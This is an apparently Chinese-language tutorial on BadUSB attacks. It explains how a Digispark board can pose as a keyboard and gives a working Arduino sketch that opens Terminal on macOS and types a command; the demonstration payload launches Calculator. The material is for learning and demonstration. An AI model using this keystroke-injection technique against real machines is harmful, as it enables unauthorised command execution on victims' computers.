https://en.wikipedia.org/wiki/BadUSB
BadUSB攻击是一种利用USB固件中的固有漏洞的攻击,将一个写入了恶意代码的定制USB设备,例如U盘,插入受害者电脑,它会伪装成HID设备(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行操作。它由Karsten Nohl 和 Jakob Lell 在2014年BlackHat大会上提出,特点是恶意代码存在于U盘的固件中,杀毒软件无法访问固件区域,也就没有办法查杀这些恶意代码。应对这一攻击最有效的方法就是不要随意插入未知、不受信任的USB设备。
通常会使用USB Rubber Ducky和Digispark 板子制作BadUSB,我选用了 Digispark 目前在淘宝售价为十几元左右。跟着如下步骤就可以将 Digispark 设备模拟成键盘进行按键操作,执行恶意命令:
(Arduino IDE 2.0.0) https://www.arduino.cc/en/main/software
请复制以下 URL 并将其粘贴到 Preferences 的 Additional Boards Manager URLs 字段中:
# 来自 <http://digistump.com/wiki/digispark/tutorials/connecting> 但是编译工具是 32 位的在高版本的macOS 下无法使用
<http://digistump.com/package_digistump_index.json>
# 可以选择新的替换方案:
## github.com/LukasSchulz/arduino-boards-index/blob/master/package_digistump_index.json
<https://raw.githubusercontent.com/LukasSchulz/arduino-boards-index/master/package_digistump_index.json>
terminal.app
应用程序,执行 open -a Calculator
命令:#include "DigiKeyboard.h"
void setup() {
/*empty*/
}
void loop() {
DigiKeyboard.delay(600);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT);
DigiKeyboard.delay(600);
DigiKeyboard.print("terminal.app");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(600);
DigiKeyboard.print("open -a Calculator");
DigiKeyboard.delay(600);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(600);
for(;;){ /*empty*/ }
}
点击 upload
然后在 60 秒内将 Digispark
插入计算机:
运行成功: